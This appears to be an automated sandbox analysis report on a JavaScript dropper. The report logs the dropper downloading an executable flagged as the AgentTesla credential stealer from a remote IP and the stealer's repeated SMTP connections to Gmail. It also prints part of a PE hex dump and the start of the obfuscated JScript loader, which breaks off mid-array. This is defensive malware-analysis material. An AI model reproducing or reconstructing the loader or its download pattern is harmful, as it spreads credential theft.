Jul 2, 2024 08:20:37.258951902 CEST	587	55522	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:37.259162903 CEST	55522	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:37.264024973 CEST	587	55522	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:37.438513994 CEST	587	55522	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:37.438711882 CEST	55522	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:37.443509102 CEST	587	55522	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:37.615613937 CEST	587	55522	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:37.616048098 CEST	55522	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:37.620857000 CEST	587	55522	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:37.793145895 CEST	587	55522	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:37.795095921 CEST	55522	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:37.798166037 CEST	55522	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:37.799854040 CEST	587	55522	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:37.802958965 CEST	587	55522	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:38.057756901 CEST	587	55522	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:38.058008909 CEST	55522	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:38.063256025 CEST	587	55522	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:38.235383034 CEST	587	55522	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:38.235651970 CEST	55522	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:38.240561008 CEST	587	55522	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:38.488652945 CEST	587	55522	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:38.491862059 CEST	55522	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:38.496779919 CEST	587	55522	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:38.668628931 CEST	587	55522	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:38.668836117 CEST	55522	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:38.673655987 CEST	587	55522	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:38.845772982 CEST	587	55522	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:38.845987082 CEST	55522	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:38.850775003 CEST	587	55522	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:38.883233070 CEST	55522	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:38.888555050 CEST	587	55522	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:38.891885996 CEST	55522	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:38.935910940 CEST	55523	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:38.940777063 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:38.943933010 CEST	55523	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:39.521605968 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:39.521747112 CEST	55523	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:39.526539087 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:39.699146986 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:39.699302912 CEST	55523	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:39.704174995 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:39.874866009 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:39.875447035 CEST	55523	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:39.880353928 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:40.051266909 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:40.052460909 CEST	55523	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:40.055207968 CEST	55523	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:40.057498932 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:40.059988976 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:40.538702011 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:40.538947105 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:40.540033102 CEST	55523	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:40.540033102 CEST	55523	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:40.545515060 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:40.716861010 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:40.717138052 CEST	55523	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:40.722372055 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:40.979047060 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:40.979332924 CEST	55523	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:40.984179974 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:41.154901028 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:41.156172991 CEST	55523	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:41.160948992 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:41.331554890 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:41.375766993 CEST	55523	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:42.033283949 CEST	55523	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:42.033813000 CEST	55523	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:42.039796114 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:42.040355921 CEST	587	55523	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:42.040395975 CEST	55523	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:42.099734068 CEST	55524	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:42.104645967 CEST	587	55524	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:42.104729891 CEST	55524	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:42.676959038 CEST	587	55524	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:42.677164078 CEST	55524	587	192.168.2.4	74.125.206.108
Jul 2, 2024 08:20:42.682039976 CEST	587	55524	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:42.853981972 CEST	587	55524	74.125.206.108	192.168.2.4
Jul 2, 2024 08:20:42.894810915 CEST	55524	587	192.168.2.4	74.125.206.108

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 2, 2024 08:18:35.016514063 CEST	51876	53	192.168.2.4	1.1.1.1
Jul 2, 2024 08:18:35.023677111 CEST	53	51876	1.1.1.1	192.168.2.4
Jul 2, 2024 08:18:53.918231010 CEST	53	64806	1.1.1.1	192.168.2.4
Jul 2, 2024 08:19:10.464956999 CEST	53	59468	162.159.36.2	192.168.2.4
Jul 2, 2024 08:19:10.966911077 CEST	53728	53	192.168.2.4	1.1.1.1
Jul 2, 2024 08:19:10.975275993 CEST	53	53728	1.1.1.1	192.168.2.4
Jul 2, 2024 08:20:00.735009909 CEST	59988	53	192.168.2.4	1.1.1.1
Jul 2, 2024 08:20:00.787506104 CEST	53	59988	1.1.1.1	192.168.2.4
Jul 2, 2024 08:20:21.219329119 CEST	53505	53	192.168.2.4	1.1.1.1
Jul 2, 2024 08:20:21.226416111 CEST	53	53505	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 2, 2024 08:18:35.016514063 CEST	192.168.2.4	1.1.1.1	0x6290	Standard query (0)	smtp.gmail.com	A (IP address)	IN (0x0001)	false
Jul 2, 2024 08:19:10.966911077 CEST	192.168.2.4	1.1.1.1	0x1718	Standard query (0)	206.23.85.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jul 2, 2024 08:20:00.735009909 CEST	192.168.2.4	1.1.1.1	0x2739	Standard query (0)	smtp.gmail.com	A (IP address)	IN (0x0001)	false
Jul 2, 2024 08:20:21.219329119 CEST	192.168.2.4	1.1.1.1	0xce7c	Standard query (0)	smtp.gmail.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 2, 2024 08:18:35.023677111 CEST	1.1.1.1	192.168.2.4	0x6290	No error (0)	smtp.gmail.com		142.251.168.109	A (IP address)	IN (0x0001)	false
Jul 2, 2024 08:19:10.975275993 CEST	1.1.1.1	192.168.2.4	0x1718	Name error (3)	206.23.85.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jul 2, 2024 08:20:00.787506104 CEST	1.1.1.1	192.168.2.4	0x2739	No error (0)	smtp.gmail.com		173.194.76.109	A (IP address)	IN (0x0001)	false
Jul 2, 2024 08:20:21.226416111 CEST	1.1.1.1	192.168.2.4	0xce7c	No error (0)	smtp.gmail.com		74.125.206.108	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

192.210.215.11

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	192.210.215.11	80	7260	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 08:18:32.477926970 CEST	333	OUT	GET /zoom/don701.exe HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 192.210.215.11 Connection: Keep-Alive
Jul 2, 2024 08:18:33.030653954 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 06:18:32 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Tue, 02 Jul 2024 00:19:32 GMT ETag: "5cc00-61c38aaf7f766" Accept-Ranges: bytes Content-Length: 379904 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 91 47 83 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 fa 00 00 00 ce 04 00 00 00 00 00 0a 40 06 00 00 00 05 00 00 20 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 06 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 03 05 00 53 00 00 00 00 00 06 00 70 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 06 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELGf@ @ `@XSp @Hc6ZKP @.text `.rsrcp@@.reloc @B@ `
Jul 2, 2024 08:18:33.030678034 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: =W2@!Xj*\jqM^$d]jdarE.xDk^eshAc->r@!{@!Vc[V}sp`JO
Jul 2, 2024 08:18:33.030688047 CEST	1236	IN	Data Raw: 7d 80 8c 35 6b 96 96 0f 4b 8c f6 04 2c 82 45 d4 8b 30 e3 cb c4 6e e2 10 f5 e0 39 f7 58 ee 80 36 11 53 ec d1 82 c3 84 e8 ed 13 8f 34 4d 18 f4 99 5d f9 6b 7f e2 b2 4e 3e af 05 de 44 03 71 af 24 eb d6 8d d9 34 b2 8f 5a 45 f8 b4 6c c2 e1 a6 07 d5 72 Data Ascii: }5kK,E0n9X6S4M]kN>Dq$4ZElr.FF?yR&G0YF13]$%*rN\|h$.6h\|;Tp4yY,spm,<tXt8/kqmaW#9V[?^quS0P
Jul 2, 2024 08:18:33.030694008 CEST	1236	IN	Data Raw: 04 2d 59 eb fb 5d 39 5a 15 85 d8 c0 16 7e 38 7d 23 d8 19 f5 55 ee 95 aa 08 06 16 26 c9 b7 6e b2 d3 97 57 16 ed 1f 34 21 ad c8 07 2d 04 09 7b 59 6b 39 3a 87 18 a9 38 e5 ec e2 0f 8b 53 4a c2 5b 62 13 d0 a4 4f a7 9f 3b 9a e3 7d 53 b9 c2 88 96 70 40 Data Ascii: -Y]9Z~8}#U&nW4!-{Yk9:8SJ[bO;}Sp@Rt&$W'y@ BEC*Hb{>a%Y$Ng$w!Bp24vagH[Bx>INEtxa4f+]X>}\|32ddQ
Jul 2, 2024 08:18:33.030699015 CEST	896	IN	Data Raw: 74 c6 63 96 af 8c f7 58 d9 2e 1c 41 7b ee 5e 5e bc 97 db 67 e2 3d 2f a4 c5 fc 92 19 8b 66 15 58 53 b3 41 5d b2 5a 4f 45 83 df 16 80 47 08 60 4a 3e a4 88 bb ae d2 64 37 98 a8 39 c9 b9 05 fe 68 5f e9 90 82 c3 e0 7e 61 46 43 84 77 52 ce a6 5c ca e6 Data Ascii: tcX.A{^^g=/fXSA]ZOEG`J>d79h_~aFCwR\}AL;yQ)BRFD]'p=J)%06\|\|o"+]U!;MQmmO_Tf?\|+P=[oG7!9I~Q?
Jul 2, 2024 08:18:33.030709028 CEST	1236	IN	Data Raw: 71 a3 9e 7f e7 76 ad 71 05 eb c5 5f 74 40 f8 29 bd 52 53 06 61 ec 2e 30 68 9f 38 e1 e6 a8 8d 66 10 74 49 4b 28 9c 01 fc 40 b1 b9 b9 b9 51 38 35 6d 89 0f 6b 71 c5 ab a9 87 34 98 ba 25 d4 39 a6 c1 ae 8e 69 12 13 14 0d 48 5b be e8 32 94 17 d6 ff 1a Data Ascii: qvq_t@)RSa.0h8ftIK(@Q85mkq4%9iH[2r\|A^#T.ihO6wrIf#+*_y.&~{x!L:(l3(j?z#C1vB\|^3hH@r@\|qON#4gYqH@/vxM)3B
Jul 2, 2024 08:18:33.030787945 CEST	1236	IN	Data Raw: 34 2f 5b 98 19 30 04 9e 89 08 a1 69 31 8a 61 99 14 27 fc d7 13 41 e0 a6 23 45 ac fe 6d 56 f6 c0 2c 58 0c f2 73 39 4b 1a 23 dc 1c 3f 51 15 bc 02 0c b6 3b f4 30 27 1d f6 a6 af 56 4f 87 aa 5e 5d 95 1a 57 85 eb 93 7e 9c d7 2e 3c 68 ef 3a 9c a5 7d 7e Data Ascii: 4/[0i1a'A#EmV,Xs9K#?Q;0'VO^]W~.<h:}~ta)LO`\m1133s@RYvq4/7kx8sSGBR{+Dq5H@r}fY~N!^~{7#z%B&/;gp]R+=$rw<)e$"TbO[7K
Jul 2, 2024 08:18:33.030800104 CEST	1236	IN	Data Raw: b1 3b c8 8b ed 14 26 ca a6 eb f2 48 f3 1f d8 5b 98 24 42 5d 87 6f f3 35 4c 25 09 22 6f 7b 2d a9 3a ca 1f 8d 6f eb c6 56 22 bd d1 09 d7 69 c3 92 1f 32 d3 e7 62 ee 77 04 0e 1e 9f 1d 90 4c 02 6f 0d 0a ee 90 c1 0b 12 7b 56 9b 5b d9 ba 05 4c 4a a5 b1 Data Ascii: ;&H[$B]o5L%"o{-:oV"i2bwLo{V[LJ%?ObVP\AlI#=8iJMN1.wP69.\R\$BVhEY:eW<}TU&hi62-!#+d{p}r]A:f(Am
Jul 2, 2024 08:18:33.030810118 CEST	1236	IN	Data Raw: 4e be 52 e3 bf 92 5b fb 8f 87 b8 45 0c 20 4a 0d a2 b4 02 af 2f 24 78 b4 d1 d8 dc f6 50 4d fe d5 7b 39 5b 83 4e 8f 10 33 45 cc 81 bf ff d5 93 d0 50 bb 4c ff a6 a9 8b fb 92 1d e1 ad 55 42 7f 3d 85 1b 84 a9 a9 16 da 1b cc d1 3d c1 38 57 89 cd b6 56 Data Ascii: NR[E J/$xPM{9[N3EPLUB==8WVOo8o}x@J-p@RIXsVnhco,=Cc46Y^*aTjh,M4rtY(98OV#y\'42oJn_
Jul 2, 2024 08:18:33.030822039 CEST	1236	IN	Data Raw: 36 b3 d4 14 8d c5 96 13 b3 eb 18 df 12 6b ff b4 16 b0 b5 6b ed 66 61 ea 69 2a 37 39 a3 60 f7 2e 05 5b d6 04 a7 60 0f f4 47 ee 86 8f b6 47 4c 50 36 47 c3 df 1b 5e a7 4a f0 19 7f 67 e5 01 49 8a 66 53 aa 1b 1e 56 b4 d3 0b 5f f4 bd c1 a8 50 69 89 16 Data Ascii: 6kkfai*79`.[`GGLP6G^JgIfSV_Pivdnn"#l[K0fV/cvYQ@vUK1@_XA=VeooHjRh&0Kxrv<TmA1bo~Y\|:~G
Jul 2, 2024 08:18:33.035757065 CEST	1236	IN	Data Raw: 9f a5 b6 f7 ea 70 ef 67 bf 97 d9 f3 12 a8 d8 f2 fd e7 0b 15 c4 bc c0 00 a8 9c d1 bf f3 19 e7 a1 00 8b e3 9e 9b 31 64 31 8a 84 e6 e5 ee b0 4b 65 2c ac 1d 9e dd fb 1d dc 40 cb fe 1f a0 27 b7 d4 88 47 f0 99 1c 8d b8 d3 7b 09 01 7a b9 95 a5 7a 58 be Data Ascii: pg1d1Ke,@'G{zzXEh'%=V}m.o)f@I$;@S\CRyU4`>>Gx'K3_>DpXm1>CMC?LJLYcy%

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jul 2, 2024 08:18:35.697149038 CEST	587	49731	142.251.168.109	192.168.2.4	220 smtp.gmail.com ESMTP ffacd0b85a97d-3675a043a16sm12308802f8f.0 - gsmtp
Jul 2, 2024 08:18:35.699526072 CEST	49731	587	192.168.2.4	142.251.168.109	EHLO 887849
Jul 2, 2024 08:18:35.877160072 CEST	587	49731	142.251.168.109	192.168.2.4	250-smtp.gmail.com at your service, [8.46.123.33] 250-SIZE 35882577 250-8BITMIME 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-CHUNKING 250 SMTPUTF8
Jul 2, 2024 08:18:35.877372026 CEST	49731	587	192.168.2.4	142.251.168.109	STARTTLS
Jul 2, 2024 08:18:36.058677912 CEST	587	49731	142.251.168.109	192.168.2.4	220 2.0.0 Ready to start TLS
Jul 2, 2024 08:20:01.372339010 CEST	587	55519	173.194.76.109	192.168.2.4	220 smtp.gmail.com ESMTP ffacd0b85a97d-3675a0fba5asm12133199f8f.71 - gsmtp
Jul 2, 2024 08:20:01.376606941 CEST	55519	587	192.168.2.4	173.194.76.109	EHLO 887849
Jul 2, 2024 08:20:01.554574966 CEST	587	55519	173.194.76.109	192.168.2.4	250-smtp.gmail.com at your service, [8.46.123.33] 250-SIZE 35882577 250-8BITMIME 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-CHUNKING 250 SMTPUTF8
Jul 2, 2024 08:20:01.554739952 CEST	55519	587	192.168.2.4	173.194.76.109	STARTTLS
Jul 2, 2024 08:20:01.893321037 CEST	587	55519	173.194.76.109	192.168.2.4	220 2.0.0 Ready to start TLS
Jul 2, 2024 08:20:13.524885893 CEST	587	55520	173.194.76.109	192.168.2.4	220 smtp.gmail.com ESMTP ffacd0b85a97d-3675a103d18sm12110912f8f.106 - gsmtp
Jul 2, 2024 08:20:13.525048018 CEST	55520	587	192.168.2.4	173.194.76.109	EHLO 887849
Jul 2, 2024 08:20:13.706573963 CEST	587	55520	173.194.76.109	192.168.2.4	250-smtp.gmail.com at your service, [8.46.123.33] 250-SIZE 35882577 250-8BITMIME 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-CHUNKING 250 SMTPUTF8
Jul 2, 2024 08:20:13.706753016 CEST	55520	587	192.168.2.4	173.194.76.109	STARTTLS
Jul 2, 2024 08:20:13.885730028 CEST	587	55520	173.194.76.109	192.168.2.4	220 2.0.0 Ready to start TLS
Jul 2, 2024 08:20:21.815068007 CEST	587	55521	74.125.206.108	192.168.2.4	220 smtp.gmail.com ESMTP 5b1f17b1804b1-4256b0c1018sm181566275e9.40 - gsmtp
Jul 2, 2024 08:20:21.815207958 CEST	55521	587	192.168.2.4	74.125.206.108	EHLO 887849
Jul 2, 2024 08:20:21.994148016 CEST	587	55521	74.125.206.108	192.168.2.4	250-smtp.gmail.com at your service, [8.46.123.33] 250-SIZE 35882577 250-8BITMIME 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-CHUNKING 250 SMTPUTF8
Jul 2, 2024 08:20:21.994299889 CEST	55521	587	192.168.2.4	74.125.206.108	STARTTLS
Jul 2, 2024 08:20:22.171577930 CEST	587	55521	74.125.206.108	192.168.2.4	220 2.0.0 Ready to start TLS
Jul 2, 2024 08:20:37.258951902 CEST	587	55522	74.125.206.108	192.168.2.4	220 smtp.gmail.com ESMTP ffacd0b85a97d-3675a0cd6d9sm12103074f8f.12 - gsmtp
Jul 2, 2024 08:20:37.259162903 CEST	55522	587	192.168.2.4	74.125.206.108	EHLO 887849
Jul 2, 2024 08:20:37.438513994 CEST	587	55522	74.125.206.108	192.168.2.4	250-smtp.gmail.com at your service, [8.46.123.33] 250-SIZE 35882577 250-8BITMIME 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-CHUNKING 250 SMTPUTF8
Jul 2, 2024 08:20:37.438711882 CEST	55522	587	192.168.2.4	74.125.206.108	STARTTLS
Jul 2, 2024 08:20:37.615613937 CEST	587	55522	74.125.206.108	192.168.2.4	220 2.0.0 Ready to start TLS
Jul 2, 2024 08:20:39.521605968 CEST	587	55523	74.125.206.108	192.168.2.4	220 smtp.gmail.com ESMTP 5b1f17b1804b1-4256af54ecasm180756635e9.12 - gsmtp
Jul 2, 2024 08:20:39.521747112 CEST	55523	587	192.168.2.4	74.125.206.108	EHLO 887849
Jul 2, 2024 08:20:39.699146986 CEST	587	55523	74.125.206.108	192.168.2.4	250-smtp.gmail.com at your service, [8.46.123.33] 250-SIZE 35882577 250-8BITMIME 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-CHUNKING 250 SMTPUTF8
Jul 2, 2024 08:20:39.699302912 CEST	55523	587	192.168.2.4	74.125.206.108	STARTTLS
Jul 2, 2024 08:20:39.874866009 CEST	587	55523	74.125.206.108	192.168.2.4	220 2.0.0 Ready to start TLS
Jul 2, 2024 08:20:42.676959038 CEST	587	55524	74.125.206.108	192.168.2.4	220 smtp.gmail.com ESMTP 5b1f17b1804b1-4256af5a3b0sm183696275e9.13 - gsmtp
Jul 2, 2024 08:20:42.677164078 CEST	55524	587	192.168.2.4	74.125.206.108	EHLO 887849
Jul 2, 2024 08:20:42.853981972 CEST	587	55524	74.125.206.108	192.168.2.4	250-smtp.gmail.com at your service, [8.46.123.33] 250-SIZE 35882577 250-8BITMIME 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-CHUNKING 250 SMTPUTF8

Target ID:	0
Start time:	02:18:31
Start date:	02/07/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-7019-2024.js"
Imagebase:	0x7ff760cd0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:18:33
Start date:	02/07/2024
Path:	C:\Users\user\AppData\Local\Temp\MUGKZA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\MUGKZA.exe"
Imagebase:	0x550000
File size:	379'904 bytes
MD5 hash:	6A1FF8C93C4D4BA50C8145A354B5C586
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1689813017.00000000039A9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.1689813017.00000000039A9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs Detection: 73%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:18:33
Start date:	02/07/2024
Path:	C:\Users\user\AppData\Local\Temp\MUGKZA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\MUGKZA.exe"
Imagebase:	0x590000
File size:	379'904 bytes
MD5 hash:	6A1FF8C93C4D4BA50C8145A354B5C586
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.2953034164.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.2953034164.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.2954699058.0000000002921000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	var I4o = 99582958;
1	var FRYIZK = String.fromCharCode ( 99583074 - I4o, 99583072 - I4o, 99583079 - I4o, 99583081 - I4o, 99582968 - I4o, 99583076 - I4o, 99583055 - I4o, 99583072 - I4o, 99582990 - I4o, 99583037 - I4o, 99583056 - I4o, 99583064 - I4o, 99583059 - I4o, 99583057 - I4o, 99583074 - I4o, 99582990 - I4o, 99583019 - I4o, 99582990 - I4o, 99583068 - I4o, 99583059 - I4o, 99583077 - I4o, 99582990 - I4o, 99583023 - I4o, 99583057 - I4o, 99583074 - I4o, 99583063 - I4o, 99583076 - I4o, 99583059 - I4o, 99583046 - I4o, 99583037 - I4o, 99583056 - I4o, 99583064 - I4o, 99583059 - I4o, 99583057 - I4o, 99583074 - I4o, 99582998 - I4o, 99582992 - I4o, 99583035 - I4o, 99583041 - I4o, 99583046 - I4o, 99583035 - I4o, 99583034 - I4o, 99583008 - I4o, 99583004 - I4o, 99583046 - I4o, 99583035 - I4o, 99583034 - I4o, 99583030 - I4o, 99583042 - I4o, 99583042 - I4o, 99583038 - I4o, 99582992 - I4o, 99582999 - I4o, 99583017 - I4o, 99582968 - I4o, 99583037 - I4o, 99583056 - I4o, 99583064 - I4o, 99583059 - I4o, 99583057 - I4o, 99583074 - I4o, 99583004 - I4o, 99583037 - I4o, 99583070 - I4o, 99583059 - I4o, 99583068 - I4o, 99582998 - I4o, 99582992 - I4o, 99583029 - I4o, 99583027 - I4o, 99583042 - I4o, 99582992 - I4o, 99583002 - I4o, 99582990 - I4o, 99582992 - I4o, 99583062 - I4o, 99583074 - I4o, 99583074 - I4o, 99583070 - I4o, 99583016 - I4o, 99583005 - I4o, 99583005 - I4o, 99583007 - I4o, 99583015 - I4o, 99583008 - I4o, 99583004 - I4o, 99583008 - I4o, 99583007 - I4o, 99583006 - I4o, 99583004 - I4o, 99583008 - I4o, 99583007 - I4o, 99583011 - I4o, 99583004 - I4o, 99583007 - I4o, 99583007 - I4o, 99583005 - I4o, 99583080 - I4o, 99583069 - I4o, 99583069 - I4o, 99583067 - I4o, 99583005 - I4o, 99583058 - I4o, 99583069 - I4o, 99583068 - I4o, 99583013 - I4o, 99583006 - I4o, 99583007 - I4o, 99583004 - I4o, 99583059 - I4o, 99583078 - I4o, 99583059 - I4o, 99582992 - I4o, 99583002 - I4o, 99582990 - I4o, 99583060 - I4o, 99583055 - I4o, 99583066 - I4o, 99583073 - I4o, 99583059 - I4o, 99582999 - I4o, 99583017 - I4o, 99582968 - I4o, 99583037 - I4o, 99583056 - I4o, 99583064 - I4o, 99583059 - I4o, 99583057 - I4o, 99583074 - I4o, 99583004 - I4o, 99583041 - I4o, 99583059 - I4o, 99583068 - I4o, 99583058 - I4o, 99582998 - I4o, 99582999 - I4o, 99583017 - I4o, 99582968 - I4o, 99583076 - I4o, 99583055 - I4o, 99583072 - I4o, 99582990 - 